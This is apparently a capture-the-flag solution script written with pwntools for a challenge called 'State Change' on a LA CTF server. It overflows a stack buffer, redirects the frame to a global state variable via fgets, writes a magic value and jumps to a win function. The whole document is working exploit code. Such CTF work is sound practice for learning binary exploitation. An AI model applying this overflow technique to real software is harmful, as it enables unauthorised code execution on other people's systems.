State Change

#!/usr/bin/env python3

from pwn import *
from termcolor import colored
import time
# from tqdm import tqdm

exe = ELF("./chall_patched")
rop = ROP(exe)

context.binary = exe
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b *0x4012d7 
"""

def find_offset():
    r = process([exe.path])
    gdb.attach(r)
    p = cyclic(1000)
    r.sendline(p)
    r.interactive()


def conn():
    if args.REMOTE:
        r = remote("chall.lac.tf",  31593)
    else:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r, gdbscript=dbginit)
    return r

def main():
    r = conn()
    win = 0x4011d6
    fgets = 0x4012d0
    state = 0x404540
    offset = 0x20 * b'i'
    p1 = offset + p64(state+24) + p64(fgets)
    p2 = b'i' * 7 + p64(0xf1eeee2d) + b'i' * 24 + p64(win)
    r.send(p1)
    r.sendline(p2)
    print(r.clean())



if __name__ == "__main__":
    main()